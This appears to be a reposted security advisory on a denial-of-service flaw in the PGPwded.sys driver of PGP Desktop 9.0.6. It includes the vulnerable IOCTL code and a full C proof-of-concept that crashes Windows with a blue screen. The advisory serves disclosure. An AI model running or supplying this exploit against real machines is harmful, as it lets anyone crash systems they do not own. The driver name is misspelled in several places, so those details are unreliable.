[NT] PGP Desktop PGPwded.sys Denial of Service

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PGP Desktop PGPwded.sys Denial of Service
------------------------------------------------------------------------

SUMMARY

PGP Desktop 's PGPweded.sys Driver does not sanitize user supplied input
(IOCTL) and this lead to a Driver Collapse that propagates on the system
with a BSOD.

DETAILS

Vulnerable Systems:
* PGP Desktop version 9.0.6

The affected PHPwded.sys IOCTL is 0x80022038:
+-------------------------------------------------+
Device Type: Custom Device Type: 0x8002, 32770
Transfer Type: METHOD_BUFFERED (0x0, 0)
Access Type: FILE_ANY_ACCESS (0x0, 0)
Function Code: 0x80E, 2062
+-------------------------------------------------+

Exploit:
/* PGPwded.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
*
* Author: Giuseppe 'Evilcry' Bonfa'
* E-Mail: evilcry {AT} gmail. {DOT} com
* Website: http://evilcry.netsons.org
*
*/

/*
Since we had publishing problems, we used spaces between escape < char and
the include file as shown here: #include < windows.h >, to compile you
have to delete the space.

*/
#include < windows.h >
#include < stdio.h >
#include < stdlib.h >

int main(void)
{
HANDLE hDevice;
DWORD Dummy;

system("cls");
printf("\n .:: PGP Enterprise DoS Proof of Concept ::.\n");

hDevice = CreateFileA("\\\\.\\PGPwdef",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("\n Unable to Open PGPwded Device Driver\n");
return EXIT_FAILURE;
}

DeviceIoControl(hDevice, 0x80022038,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Dummy, (LPOVERLAPPED)NULL);

return EXIT_SUCCESS;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:contact.fingers@gmail.com>
evil fingers.
The original article can be found at:
<http://www.evilfingers.com/advisory/PGPDesktop_9_0_6_Denial_Of_Service.pdf> http://www.evilfingers.com/advisory/PGPDesktop_9_0_6_Denial_Of_Service.pdf

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